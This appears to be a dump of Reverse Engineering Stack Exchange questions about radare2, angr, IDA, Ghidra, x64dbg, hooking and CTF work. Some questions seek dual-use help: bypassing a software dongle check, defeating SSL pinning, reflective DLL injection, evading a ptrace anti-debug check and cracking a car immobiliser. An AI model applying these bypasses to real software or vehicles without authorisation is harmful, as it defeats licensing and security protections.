disassembly result as the tutorial. +An example is this portion of the "main" function: +On my machine the argc and envp are not displayed as main's arguments: +
int main (char **argv);
+           ; var uint32_t var_ch @ ebp-0xc
+           ; var int32_t var_4h @ ebp-0x4
+           ; arg char **argv @ esp+0x34
+           0x08048424      8d4c2404       lea ecx, [argv]
+           0x08048428      83e4f0         and esp, 0xfffffff0
+
+While on the tutor's version not only are those parameters displayed, but the effective address loaded into ecx is that of the "argc" instead of "argv" as is the case on my code: +
main (int argc, char **argv, char **envp);
+           ; var unsigned int local_ch @ ebp-0xc
+           ; var int local_4h @ ebp-0x4
+           ; arg int arg_4h @ esp+0x4
+           ; DATA XREF from entry0 (0x8048327)
+           0x08048424      8d4c2404       lea ecx, [arg_4h]           ; 4
+
+My question is, how can I fix this issue and get the correct disassembled code on radare2 and why won't radare2 find the main's parameters? +" +['angr']," Title: Symbolic gloabal variables in angrBody: I am learning angr and for that I wrote a code containing two global variables. +
char pwd[8];
+char flag[16];
+int main()
+{
+        printf("\n\nEnter your password and the flag: ");
+        validator();
+        return 0;
+}
+void validator()
+{ 
+        scanf("%s %s",pwd,flag);
+        printf("\nThank You\n");//want to start the symbolic execution from here
+        cipher_function();//works on pwd
+        shuffle_function();//works on flag
+        ...
+       }
+
+ +and here is the solution script: +
 project = angr.Project(path_to_binary)
+
+  start_address = 0x004011BB  
+  initial_state = project.factory.blank_state(addr=start_address)
+ 
+  initial_state.regs.rbp = initial_state.regs.rsp
+  initial_state.regs.rdx = 0x00404080
+  initial_state.regs.rsi = 0x00404070
+ 
+  pwd = claripy.BVS('pwd', 8*8)
+  flag = claripy.BVS('flag',16*8)
+
+  initial_state.memory.store(0x00404070, pwd)
+  initial_state.memory.store(0x00404080, flag)
+
+  simulation = project.factory.simgr(initial_state) 
+
+
+Finally, the angr output is: +
WARNING | 2021-03-02 08:11:19,750 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
+WARNING | 2021-03-02 08:11:19,750 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
+WARNING | 2021-03-02 08:11:19,750 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
+WARNING | 2021-03-02 08:11:19,750 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
+WARNING | 2021-03-02 08:11:19,750 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
+WARNING | 2021-03-02 08:11:19,750 | angr.storage.memory_mixins.default_filler_mixin | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x40125e (cipher_function+0x2d in out2 (0x40125e))
+
+can anyone please take a look and help me find what I am doing wrong. +Thank you +" +"['ida', 'c++', 'ida-sdk']"," Title: IDA SDK - can't understand the output of displacement query functions?Body: OK so I want to parse x86 instructions with IDA SDK. However I can't understand the output, I have this code (that is executed after decode_insn at each operand that is present (type not 0)): +
//op is an operand op_t of some insn_t
+//ea1 is current address
+                if(has_displ(op)) {
+                    
+                    msg("%x\n", ea1);
+
+                    msg("%d\n", x86_base_reg(instr, op));
+
+                    msg("%d\n", x86_index_reg(instr, op));
+
+                    msg("%d\n", x86_scale(op));
+
+                    msg("%d\n", op.addr);
+                }
+
+And this dissasembly: +
.text:0040AE64                 lea     edx, ds:0[eax*4]
+.text:0040AE6B                 lea     edi, [eax+eax*2]
+
+And the output I get for each of the above instruction is: +
40AE64
+-1
+0
+2
+0
+
+For the second one it doesn't even get into the if. My question is why? And also why 2 in the output is not 4? +Additionally I would greatly appreciate if you could point me to some open source project that utilizes the API for fully parsing an x86 instruction, for reference. +" +['integrated-circuit']," Title: Bypassing motion control on LED light PCBBody: I am a super noob at any type of reverse engineering and electrical in general but I think I can do this. +I bought these lights Artika Cabinet Lights Model# UCLT and found that the motion/light sensor sucks. I would love to just have a physical button. +I took the light apart and found a small PCB with the motion sensor and power in. The product can dim the lights if you keep your hand near the sensor. I am assuming that is what a lot of the other parts of the PCB are. + +Coming off this board are 3 wires labelled LED+ LED- and LED-. +My idea is to unsolder the motion sensor and put a simple button that I have replacing it. The button is a JST 2-pin Extension. I am assuming the solder points for the motion sensor is + and - and when it senses motion, it completes the circuit. But I am assuming... +I have no idea what the power in is and my toggle button might not be regulated for such power. +My questions are: +
    +
  1. How can I tell if my assumption is correct about the motion sensor completing the circuit? Should I pull out my multimeter, plug it in and try to activate it? Does anyone have any tips on this?
  2. +
  3. Has anyone done anything similar?
  4. +
  5. Am I on the right path?
  6. +
+Any input or warnings would be greatly appreciated! +" +"['ghidra', 'ios', 'mach-o', 'libraries', 'arm64']"," Title: Ghidra : iOS Application : Mach-O binary -> Symbol files of dylib or framework are not generatedBody: I'm performing my first reverse on a Mach-O file binary through Ghidra. My problem is that Ghidra doesn't create symbol files of the dylib/frameworks that are loaded in the project. It is really problematic because I want to trace the calls through these libraries. (ARM64v8-a, iOS 13.6, image extracted with Cellebrite with checkra1n) +Here we can see there is no found functions below the import. All these external librairies are loaded in the project. (Some of them have been extracted from the dyld_shared_cache, therefore maybe some are not completely reconstructed. But others are intacts) + +If I try with a PE file, the function are detected and the symbol file is created under the config folder of Ghidra, but not with any dylib binaries : + +I have found that Hopper succeeds to find references to these external binaries. (Free Version) +I could just find symbol files online, but until now I did not find a single one, moreover several librairies are relative to the application. (Any application of the analyzed iPhone 8 has the same problem, so I don't think it is related to the analyzed app) +Someone had this problem ? +Someone knows where to find symbol files for iOS ? +Thank you for reading. +" +['radare2']," Title: Interpret radare2 helpBody: So I run radare2 from the command line with r2 - and attempt to display the help with the ? command. I read this line which says: + ?[??][expr] Help or evaluate math expression +I am not sure how to read this. I assume the first ? is Help command. And the rest [??][expr] is evaluate math expression. However, something like this ?? 0xa does not return anything. So, my question is how to correctly interpret this output from the help. +" +"['disassembly', 'assembly', 'stack']"," Title: Do Stack frames grow upwards?Body: I am currently learning RE and I came upon this piece of code which made me question whether stack frames grow upward: +
0x080483f4 <main+0>:    push   ebp
+0x080483f5 <main+1>:    mov    ebp,esp
+0x080483f7 <main+3>:    and    esp,0xfffffff0
+0x080483fa <main+6>:    sub    esp,0x60
+0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
+
+So I understand that from <main+0> until <main+6>, we're setting up the stack frame. Being that the stack grows downwards, it makes sense that we sub esp,0x60 thereby allocating 96 bytes for the main function's stack frame. +My confusion/doubts, however start on <main+9> mov DWORD PTR [esp+0x5c],0x0 which from what I understood stores the value 0 in a location 4 bytes above the stack pointer and we know that the stack grows downwards, but this operation seems to indicate that the data in the stack frame is stored bottom up. +So my question is, does that mean that while the stack as a whole grows downwards individual stack frames actually grow upwards? +" +"['binary-analysis', 'encryption', 'serial-communication', 'encodings']"," Title: The Logic Of Incremental Data on Serial Communication EncodingBody: +These are the serial communication reverse values. +I am trying to understand the logic behind this. +I am pretty sure that 2 bytes represent 1 byte(high byte and low byte), values are correct. +I tried to logical not the values and i realized that there is shifting 2 digits on some digits. +it may be a known encoding method probably. +Can you understand the logic? + +" +['dll-injection']," Title: Why does reflective dll injection need to perform loading in the target process?Body: I'm not sure i understand reflective loading. +An injector process allocates memory in the target, writes a stub and the dll binary to be loaded, and the stub calls ReflectiveLoad in that binary. ReflectiveLoad then does what the windows loader would do so that the dll is properly mapped and has access to the imports if needs. +What confuses me is, could the manual loading portion in principle be done by the injector, still achieving no dropped files? By this I mean reading the target's memory from the injector's process to figure out how the dll needs to be loaded in the target at the address of the allocated memory. Is it a matter of need or convenience? Why exactly has this choice been made? +" +['ghidra']," Title: Use enum for switch case values in ghidraBody: Is there a way in ghidra to change decompiled switch statement case values to their names? +I'm looking at a WndProc function, with a prototype of LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam). Inside the function are a number of switch statements based on the msg UINT, which ghidra calls param_2. The uint values are defined in winuser.h. I want to change all the spots param_2 is compared in the decompilation so it uses the winuser.h names instead of the uint values, for example, change if (param_2 != 0x100) to if (param_2 != WM_KEYDOWN), for all the param_2 checks in a given function. +" +"['ida', 'disassembly', 'decompilation', 'c++', 'dll-injection']"," Title: Modifying program using IDA/Hexrays decompilation pseudocodeBody: A bit long-winded, apologies in advance. Updates to the question are at the end. +I'm experimenting with hooking functions in a program & modifying them based on the decompilation pseudocode from IDA. For this, I wrote a simple, purposeless, 32-bit program (it's not important, no need to try and analyze it): +
// main.cpp
+#include <iostream>
+
+
+class C {
+    public:
+    int a = 0;
+    int b = 0;
+    int c[255];
+    int *d = nullptr;
+    int stuff = 0;
+    C(){
+        std::cout << d << std::endl;
+        d = new int[300];
+        std::cout << d << std::endl;
+        ++stuff;
+        for(int i = 1; i < 255; ++i){
+            c[i] = i;
+            if( i == 254){
+                c[i] = 0;
+            }
+        }
+        for(int i = 1; i < 300; ++i){
+            d[i] = i;
+            if( i == 299){
+                d[i] = 0;
+            }
+        }
+    }
+    ~C(){
+        std::cout << d << std::endl;
+        delete[] d;
+        std::cout << d << std::endl;
+        ++stuff;
+    }
+
+    void play(){
+        bool c_stop, d_stop;
+        c_stop = false;
+        d_stop = false;
+        for(int i = 0;;++i){
+            if(c[i] == 0 && !c_stop){
+                std::cout << "C had " << i + 1<< std::endl;
+                c_stop = true;
+            }
+            if(d[i] == 0 && !d_stop){
+                std::cout << "D had " << i + 1 << std::endl;
+                d_stop = true;
+            }
+            if(d_stop && c_stop){
+                break;
+            }
+        }
+    }
+};
+
+void func(){
+    C clae;
+    std::cout << "One missisipi " << clae.stuff << std::endl;
+}
+
+int main(){
+    func();
+    C clae;
+    std::cout << clae.stuff << std::endl;
+    clae.play();
+}
+
+While there's no need to try and understand what it does, it will usually result in an output like this: +
00000000
+0007D958
+One missisipi 1
+0007D958
+0007D958
+00000000
+0007D958
+1
+C had 255
+D had 300
+0007D958
+0007D958
+
+I say usually because the addresses will change from execution to execution. +Now, using IDA, I found the subroutine corresponding to void func(): +
void *__thiscall sub_1161000(void *this)
+{
+  int v1; // eax@1
+  int v2; // edx@1
+  int v4; // [sp+0h] [bp-43Ch]@1
+  int v5; // [sp+8h] [bp-434h]@1
+  int v6; // [sp+Ch] [bp-430h]@1
+  int v7; // [sp+10h] [bp-42Ch]@1
+  char v8; // [sp+14h] [bp-428h]@1
+  int v9; // [sp+41Ch] [bp-20h]@1
+  int *v10; // [sp+420h] [bp-1Ch]@1
+  void *v11; // [sp+424h] [bp-18h]@1
+  int (__cdecl *v12)(int, int, int, int); // [sp+428h] [bp-14h]@1
+  int v13; // [sp+42Ch] [bp-10h]@1
+
+  v10 = &v4;
+  v13 = -1;
+  v12 = sub_1161200;
+  v11 = this;
+  v1 = sub_1161280(&v8);
+  v13 = 0;
+  v7 = v1;
+  v6 = sub_11613F0(&unk_119B300, "One missisipi ");
+  v5 = sub_1161810(v9);
+  sub_1161AB0(sub_1161AD0);
+  sub_1161B30((int)&v8, v2);
+  return v11;
+}
+
+I am certain this is the function at hand, because stepping over the call to this address prints: +
00000000
+0007D958
+One missisipi 1
+0007D958
+0007D958
+
+Which is what is expected of func() to output. Furthermore, stepping inside this subroutine will print the above but in stages corresponding to the constructor, print, and destructor. +So, now I have patched the pseudocode into valid C, like so: +
void *__thiscall func(void *_this) {
+    int v1;                                 // eax@1
+    int v2;                                 // edx@1
+    int v4;                                 // [sp+0h] [bp-43Ch]@1
+    int v5;                                 // [sp+8h] [bp-434h]@1
+    int v6;                                 // [sp+Ch] [bp-430h]@1
+    int v7;                                 // [sp+10h] [bp-42Ch]@1
+    char v8;                                // [sp+14h] [bp-428h]@1
+    int v9;                                 // [sp+41Ch] [bp-20h]@1
+    int *v10;                               // [sp+420h] [bp-1Ch]@1
+    void *v11;                              // [sp+424h] [bp-18h]@1
+    int(__cdecl * v12)(int, int, int, int); // [sp+428h] [bp-14h]@1
+    int v13;                                // [sp+42Ch] [bp-10h]@1
+
+    int *base_addr = (int *)GetModuleHandle(NULL); // Windows function to get the process base address.
+
+    v10 = &v4;
+    v13 = -1;
+    v12 = INT_FUNC(0x1161200);
+    v11 = _this;
+    v1 = INT_FUNC(0x1161280)(&v8);
+    v13 = 0;
+    v7 = v1;
+    v6 = INT_FUNC(0x11613F0)(0x119B300, "One missisipi ");
+    v5 = INT_FUNC(0x1161810)(v9);
+    PTR_FUNC(0x1161AB0)(PTR_FUNC(0x1161AD0));
+    PTR_FUNC(0x1161B30)((int)&v8, v2);
+    return v11;
+}
+
+Where INT_FUNC is defined as: +
#define PE_BASE 0x1160000
+
+#define OFFSET(x) (int*)(base_addr + ((int*)x - (int*)PE_BASE))
+
+#define PTR_FUNC(x) (((void *(*)())OFFSET(x)))
+#define INT_FUNC(x) (((int (*)())OFFSET(x)))
+
+What I did was some pointer arithmetic to convert the addresses from IDA to addresses which would correspond to the proper ones during runtime, and cast them to a function. PE_BASE is the base address of the process in IDA (I know you can rebase them to zero). Note that at this stage, I did not modify the function at all, but only recreated it from the pseudocode. +Finally, to hook my function, I use a debugger to start the program, load a DLL containing my custom func, and then at the start of the target subroutine, I replaced the instructions there with: +
push dword my_dll.func
+ret
+
+Which happily jumps to my function whenever the target subroutine is being executed. The thing is though, it just doesn't work. If I run my program now, it only prints: +
00000000
+01393FE8
+
+I debugged the program while my function was hooked, and the culprit was this line, which causes a segmentation fault: + +Which is the first function address that is being called this way (the function before it is not called, but only pass its address to v12). My first thought was that a mistake in my pointer arithmetic caused it to jump to a bad address, but checking the disassembly confirmed that this is not the case: + +Which is the correct function (based on value of edx in the previous picture): + + +It appears everything is where it should be. +So, my question is: What's going on? Why does it do this? Is my attempt at using IDA's pseudocode a lost cause because it cannot be trusted to be reliable? Or, is there some mistake on my part? +

UPDATE:

+Thanks to bart1e's answer, I now fixed the code to reflect the actual size of the variables as commented by IDA (Code is more simplified since the original version, but the issues are still the same): +
int func() {
+    char v1[0x408]; // [sp+18h] [bp-414h]@1
+    int v2;  // [sp+420h] [bp-Ch]@1
+
+    int* base_addr = (int*)GetModuleHandle(NULL);
+
+    INT_FUNC(0x331F04)(v1);
+    INT_FUNC(0x3B7E90)(OFFSET(0x3C57C0), "One missisipi ");
+    INT_FUNC(0x37E7C0)(v2); // <<<<<<<< SEGMENTATION FAULT
+    INT_FUNC(0x37E5C0)(INT_FUNC(0x3B5FD0));
+    return INT_FUNC(0x332044)(v1);
+}
+
+/* int func()
+{
+  char v1; // [sp+18h] [bp-414h]@1
+  int v2; // [sp+420h] [bp-Ch]@1
+
+  sub_331F04((int)&v1);
+  sub_3B7E90((int)&dword_3C57C0, "One missisipi ");
+  sub_37E7C0(v2);
+  sub_37E5C0(sub_3B5FD0);
+  return sub_332044(&v1);
+} */
+
+Now however, when I try to debug the DLL, it still results in a segmentation fault, and print: +
00000000
+015CFFE8
+One missisipi
+
+" +"['ida', 'c++', 'hexrays', 'ida-sdk']"," Title: Is there a way to aid the IDA decompiling process?Body: I want to make all local variables contained in a structure with appropriate padding put in the gaps (unused parts of the frame). I want to do the same for the global data. And I want to rename identifiers to be in compliance with the compilers standard. +I looked at the Hex-Rays SDK but I gave up at the point there was a comment in the headers stating that deleting local variables would require to fix-up references. +Maybe there is a way to aid the decompilation process instead of trying to apply fixups later. Or maybe it wouldn't be so scary to transform all the locals into a structure. Has anyone attempted something similar before? +" +"['crc', 'checksum']"," Title: Is this a checksum/CRC response or cryptography?! ThanksBody: I've been pointed here from the Cryptography Stack Exchange so hopefully you can help me here! +Long version of the story at the end....the short version is... +I want to identify this CRC/cipher/crypto and then I'll code it in C. +It's a challenge and response based exchange; a 4 byte challenge, and 4 byte response. They both change each time the exchange is carried out. Here's a real example +
    12   35   5B   74
+    00010010    00110101    01011011    01110100    Challenge
+    00111000    10010000    00001001    10110101    Response
+    38 90 09 B5
+
+I'm able to feed it challenges and observe the responses without penalty - so I have this data too +
    00  00  00  00
+    00000000    00000000    00000000    00000000    Challenge
+    10110101    00100000    01100011    10111011    Response
+    B5  20  63  BB
+
+
+    FF  FF  FF  FF
+    11111111    11111111    11111111    11111111    Challenge
+    11010101    00010000    10100001    00011110    Response
+    D5  10  A1  1E
+
+If anyone can break/hack this for me I'll love you forever etc etc +Thanks Joe +Long version The exchange happens between the engine control module, the instrument pack, and the body control module in my car...it takes place over the CAN networks and authorises the engine control module to start the engine. I really want to use this engine in a project car but need to get rid of this immobilisation issue (and body controller and instrument pack too) first. +" +"['linux', 'syscall']"," Title: Is it possible to intercept syscalls with a custom code from inside the program?Body: I have a binary calling syscall with a code not present on the Linux kernel. +Is it possible that the binary catches the syscall by itself and handles it on-the-fly? +Furthermore, what happens if I call syscall with an invalid code? e.g. syscall(666, args...) +I've searched the internet for answers and didn't find anything. +I am aware that syscalls are defined when the kernel boots, so getting an "exotic" syscall to works seems weird at least. +" +['ida-plugin']," Title: Identify APIs inside functionsBody: I know it's a silly question 😂😂 +I'm using IDA and I want to know if there is a plugin to identify all called APIs inside a function instead of entering each function manually? +" +['python']," Title: How to use two commands in python -c?Body: I am wanting to execute python command by using python -c but it contain in string library so i need import it. +While reading man i find this: +
when called with -c  command,  it  executes  the
+   Python  statement(s) given as command.  Here command may contain multi‐
+   ple statements separated by newlines.  Leading whitespace  is  signifi‐
+   cant  in  Python statements!  In non-interactive mode, the entire input
+   is parsed before it is executed.
+
+For example I've tried python3 -c "import string \n print(string.ascii_letters)" +but it didn't work. So what is it new line? +" +"['memory', 'x64dbg', 'dynamic-analysis', 'breakpoint']"," Title: In x64dbg, how to set software breakpoint on specific memory address?Body: This is something I know how to do in Olly Debugger, and can't figure out how to do in x64dbg. +In Olly Debugger, it's possible to set a hardware or software breakpoint, either on access or on write, to a memory address. +To be clear: I am referring here to memory breakpoints, which are set by right clicking an address in the dump window. I am not referring to execution breakpoints, like the INT3 breakpoints you can set in the CPU window when you hit F2. +In Olly Debugger, the only practical differences between hardware and software breakpoints is that you're limited to four hardware breakpoints, and with hardware breakpoints, EIP points to the next instruction so you can't see the state of registers or memory before hitting the breakpoint. +In x64dbg, it is also possible to set both hardware or software breakpoints on memory. However, in x64dbg the software memory breakpoints always apply to the entire section in which the memory address resides, which makes software memory breakpoints close to useless (I assume it is just using VirtualProtect to guard the whole section, then breaking on any and all access to the section.) In Olly it was possible to set an unlimited number of software, not hardware, memory breakpoints for an individual byte of memory in the dump window. +Am I just dumb? Is x64dbg really missing this feature? +" +"['ida', 'c++', 'struct', 'ida-sdk']"," Title: How to replace a segment with a single structure consisting of the data in that segment - programmatically?Body: So I have something like this (I copied this from my other plugin functionality which simply creates a copy paste structure from the frame containing stack variables, while deleting them and then recreating the stack frame as a single variable with the new struct type): +
ea_t currea;
+
+    for (auto i : ranges::iota_view{ (size_t)0, get_segm_qty() })
+        if (auto segment = getnseg(i); segment->type & SEG_DATA) {
+            currea = segment->start_ea;
+
+            auto newstructid = add_struc(BADADDR, nullptr);
+
+            auto newstruct = get_struc(newstructid);
+
+            struc_error_t strucerr;
+
+            do {
+                strucerr = add_struc_member(newstruct, /*name*/, currea, /*flags*/, /*member info*/, /*size*/);
+            } while ((currea = next_head(currea, segment->end_ea)) != BADADDR);
+        }
+
+Anyone can help me fill the blanks. I need to get information about the current head such as type and name. +" +"['windows', 'debugging', 'networking', 'openssl']"," Title: SSL pinning and bypassBody: I'm currently investigating one very suspicious app on my system (Windows 10 x64 bit). I wanted to try and understand outgoing https traffic it utilizes by trying to MITM it using Fiddler but as I assumed, app itself doesn't use system proxy settings so trying to MITM it with Fiddler was a failure because requests weren't present in the window over there. I assumed that app doesn't accept system default proxy server settings but rather just using default NIC and not using any loopbacks which MITM softwares such as Fiddler relay on. I found out that app was written in C# and I tried reverse engineering it and noticed this interesting function which seems to do SSL pinning +
internal bool method_2(
+    HttpRequestMessage httpRequestMessage_0,
+    X509Certificate2 x509Certificate2_0,
+    X509Chain x509Chain_0,
+    SslPolicyErrors sslPolicyErrors_0)
+  {
+    return x509Certificate2_0.Thumbprint == "32WQEE518D60E0A21D56BFBC3CDFB28701710C"
+  }
+
+It seems that upon SSL handshake it checks for certificate and if it doesn't match this thumbprint it just declines connection. I want to understand what are my options on trying to sniff packages and see its content? +I understand I can do following: +
    +
  1. Sniff traffic via Wireshark and intercept TLS ciphersuit configs, key exchange and just manually take the data and try to decrypt.
  2. +
  3. Placing return true before checking validity of certificate using debugger (dnSPY or similar IL c# decompilers / debuggers)
  4. +
+Is there something more I can try and what could be potentially best way to get incoming and outcoming data from this app? +" +"['ida', 'idapython', 'deobfuscation']"," Title: How to deal with IDA auto-analysis analyzing invalid paths?Body: Obfuscation techniques such as opaque predicates often trick IDA's auto-analysis into creating incorrect or contradicting interpretations of the code under analysis. +There is some mention of controlling IDA's auto-analysis via hooks on the IDA website, however I cannot find other references to this online. +In my case, I have a list of known-valid branches and I want IDA to "prefer" these branches during auto-analysis in order to avoid sp-analysis and invalid decompilation issues. +I have been able to essentially mimic this functionality by scripting my own analysis pass that ignores non- known-valid branches, but I wonder if there is an easier way. +" +['program-analysis']," Title: Is there a standalone cli tool which can detect which programming language a binary was written in?Body: I want to run a quick analysis on a very large number of binaries and determine the language of each one. +" +"['decompilation', 'ghidra', 'pointer']"," Title: what does an integer modulus 32 cast to (byte *) points to?Body: As part of a CTF challenge I have to understand the inner workings of a cryptlock type malware, and use it to decrypt a file containing the flag. +I used GHIDRA to decompile the binary. +The encryption function seems pretty basic, it is just the following line inside a while loop repeated until all bytes of the file have been xored : local_111c[local_1120] = local_111c[local_1120] ^ *(byte *)(param_2 + local_1120 % 0x20); +Where local_1120 is the loop counter, local_111c is a buffer where the file to encrypt is read into, and param_2 is an integer that seems to be always 0, the function is called like the following FUN_00401000((LPCSTR)0x0,0), with both parameters set to 0; +What does *(byte *)(param_2 + local_1120 % 0x20 refer to? As far as I understand it, it would be the value at the address pointed to by an integer cast to a byte pointer, but the modulo makes it so the adress can't be above 32? +I need to understand what could the value pointed to could have been in order to xor back the file to its original state. +" +"['disassembly', 'c++', 'gcc']"," Title: What is the first argument (rdi) to operator+ on x86_64 SystemV?Body: I'm looking through a block of disassembled C++ which works with several std::string instances. I had been confused by several calls to various versions of std::operator+, but this call seems completely wrong (by my understanding anyway): +
mov        rax, qword [rbp-0xb8]
+lea        rbx, qword [rax+0xa0]
+lea        rax, qword [rbp-0x60]
+mov        edx, 0x880d32  ; "/store/"
+mov        rsi, rax
+mov        rdi, rbx
+           ; std::string std::operator+(std::string &&, char const *),
+call       _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
+lea        rax, qword [rbp-0x60]
+
+From context, I have determined that the stack values referenced are: + +From the .comment section, I can see the compiler used was GCC 5.4.0, from which I retrieved this implementation of the operator+ call above (in namespace std { ... }): +
template<typename _CharT, typename _Traits, typename _Alloc>
+inline
+basic_string<_CharT, _Traits, _Alloc>
+operator+(
+    basic_string<_CharT, _Traits, _Alloc> &&__lhs,
+    const _CharT *__rhs)
+{
+    return std::move(__lhs.append(__rhs));
+}
+
+I can understand the return value being optimized away since __lhs is modified by operator+, but the parameters don't seem to match. edx referring to the only char * suggests an additional first parameter before those declared in the source. If this was a member function, I would expect that (rdi being this), but operator+ is implemented as a non-member. +Am I missing something from the calling convention here? +" +"['x64dbg', 'patching', 'usb', 'vmprotect', 'dongle']"," Title: Bypass USB key activation of a softwareBody: (The software is Chinese and contains malware. I do not know if I could upload it here, so temporarily, please let me describe it) +I am asked by a spa store to "do something" to make a software that looks like from 2003 for them to use, the name is "Ehang skin analysis system". The spa store gave me an usb key (a dongle usb), which they borrowed from another store, and they have to return it when they have a copy. +I could not find any information about the software on google. Plus, the usb key does not appear anywhere on the computer, from emulators to rufus, not even on Linux, so that I do not figure out how to clone it, or find out if it is sentinel or HASP. So the only way is to reverse it. I am using x64dbg. +The software uses VMProtect, I passed it by using Scyllahide. +But I am stuck at this step, below is when I did not insert the USB key +The start of the software + +after clicking "play" 3 times + +Play 4 times, please note that the pointer is at another line, 00478E56 to 00474E91 + +Play 5 times + +At the 6th play, a message appeared asks to insert USB key + +I restarted it and insert the USB key, and at the 6th play this time, at the same line 0047A868 just like the very above, but this time the code turned into: + +Click one more play and the software worked. Still at the same line 0047A868 + +I have tried dozen times, but before and after inserting the USB key, everything just "turned into" other codes, not that they jump from code A to code B, popfd just turned into ret without any step. I have tried with step into and step over and animate. The pointer stand still at the same line but only the code is changed. So I do not know where to jump into the code that makes the software work. +So, how to make it turn into the working code without the USB key? +" +"['c++', 'mfc', 'api-reversing']"," Title: x64dbg & Ghidra change combobox properties app in Visual C++ MFCBody: Hello in the program code the property combobox is changed from enable to disable I would like to change that the program does not change this property. I have found commands that assign new items to combobox then the code suddenly enters the user32.dll module and after exiting it the property is changed. I think some value is passed to this user32.dll that defines the property change. Could someone please guide me on how to find the piece of code responsible for the property change? The program is written in Visual C++ MFC. I used x64dbg and Ghidra. +" +"['windows', 'ollydbg', 'binary', 'exe', 'error']"," Title: Reversing Windows binary to find where the error is with OllydbgBody: I've some experience with gdb and debugging in Linux environment (I'm studying computer science at University and I'm able to handle bof in Linux). +The problem now is on a Windows program. I start it up but after a few seconds a popup appears with the message "You are not connected to the Internet", although I am regularly connected to the Internet. I am trying to parse the assembly code and debug with OllyDbg. First I searched for the string "You are not connected" but I didn't find it anywhere. On closer analysis, I found that the error popup appears when the eip is inside the ntdll dll library and sometimes win32u. I am attaching two screenshots to explain myself better. How do I know where the problem lies? Is it correct to say that the problem lies within a dll? Thank you +With your help, I found the function that calls the MessageBox. But unfortunately I think it is part of a very long loop and it is difficult for me to be able to identify the problem. I was noticing, that when the program starts, the ASCII string "Error writing temporary file .." is loaded. Does it correspond to an allocated variable or is it a message I should see when I start the program? Maybe that's the problem + +" +"['ghidra', 'x64dbg', 'patch-reversing']"," Title: Call function more times with other argsBody: I want to call the same function more times but with other args, I can't add new instructions, so how can I call it? + +" +"['ida', 'windows', 'pdb']"," Title: How to apply complete type information from PDB for multiple images in one IDA database?Body: IDA is capable of loading multiple images/DLLs into the same database. In this scenario, ntdll.dll and kernel.dll have been loaded additionally to the main target .exe-file into the database. On top of that the PDB files ntdll.pdb and kernel.pdb have been loaded using File -> Load file -> PDB file... with specifying the address of the respective image base. +It's working quite well, e. g. all the functions and symbols are visibly and usable. Nevertheless, some type information are missing. Most importantly: correct function declarations and argument types. +Here's what the decompiler gets me when using the approach described above for an example function RtlUnwindEx: +
__int64 __fastcall ntdll_RtlUnwindEx(int a1, int a2, int a3, int a4, __int64 a5, __int64 a6);
+
+However, this is how it looks like when analyzing ntdll.dll in its own database and applying the PDB accordingly: +
void __stdcall RtlUnwindEx(PVOID TargetFrame, PVOID TargetIp, PEXCEPTION_RECORD ExceptionRecord, PVOID ReturnValue, PCONTEXT ContextRecord, PUNWIND_HISTORY_TABLE HistoryTable);
+
+Why is IDA not correctly determining the function declaration/argument types in the multi-image database even though the information should be there? +Additional information: + +" +"['ida', 'idapython', 'ida-plugin']"," Title: how to call the function from IDAPython with passing arguments by manually push them to the stackBody: would you please tell me how to call the function from IDAPython code ?

+I want to simulate it by manually push to stack as the two arguments and calling the function. +" +"['ida', 'idapython', 'ida-plugin']"," Title: (IDAPython)How to get the function name string from the Function address?Body: For example, in the Registers windows of IDA pro, It show the following.
+( I think "WS2_32.dll:ws2_32_shutdown" is a string that IDA automatically resolved.) +EAX 766D32B0 WS2_32.dll:ws2_32_shutdown +So, would you please tell me how to get the function name string (such as WS2_32.dll:ws2_32_shutdown) from the Address (such as 766D32B0) by IDAPython ? +I try to do the following, but it don’t show the function name string.. +eax_adddress = idc.get_reg_value("EAX")
+print("EAX-->%x" % eax_adddress)
+print("FunctionName-->%s" % idc.get_func_name(eax_adddress))
+" +"['ghidra', 'libraries', 'error']"," Title: Fixing Indirect Jump as Call?Body: I have been using Ghidra to decompile a library. When I analyzed the decompiled version of a function, it resulted in this following output. +
{
+                    /* WARNING: Treating indirect jump as call */
+  (*(code *)0x1b8318)();
+  return;
+}
+
+I did some more digging and found that most functions lead back to the same thing with the same message. I did some research online and found a solution where I should change the value stored at the address (0x1b8318) to a function pointer. Would this work? +" +"['debugging', 'buffer-overflow']"," Title: Run ltrace to avoid detection (on a different PID?)Body: I am trying to run ltrace on this file: +
+./launcher: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f6f8cf3307e0ee26723f4d03ec68f022d15e56b6, stripped +
+When I pop it open in ghidra, and view the decompiled c, I can see that it changes the program flow to somewhere I don't want to be when ltrace is running. +
  attached_to_ptrace = ptrace(PTRACE_TRACEME,0,1,0);
+  if (attached_to_ptrace == -1) {
+    puts("I am not your property!");
+    exit_code = 1;
+  }
+  else {
+    // execute main loop
+  }
+
+Looking at the man page for ptrace, I see: +
long ptrace(enum __ptrace_request request, pid_t pid,
+                   void *addr, void *data);
+
+Meaning that if the program? or ltrace? were to run with a different PID, I would be able to successfully run my program using ltrace. +This is the current output I get when running the program with ltrace: +
~/ctf/cyberstart/level13/04 [master|…1] $ ltrace ./launcher
+__libc_start_main(0x565a86f0, 1, 0xff837be4, 0x565a8970 <unfinished ...>
+ptrace(0, 0, 1, 0)                                                     = 0xffffffff
+puts("I am not your property!"I am not your property!
+)                                        = 24
++++ exited (status 1) +++
+
+Without ltrace: +
~/ctf/cyberstart/level13/04 [master|…1] $ ./launcher
+
+Enter the password:
+password
+Away now, you anklebiter!
+
+[1]+  Stopped                 ./launcher
+
+(This is my second buffer overflow CTF challenge, where the main goal is to mess with this block of code:) +
  int iVar1;
+  char local_1e [10];
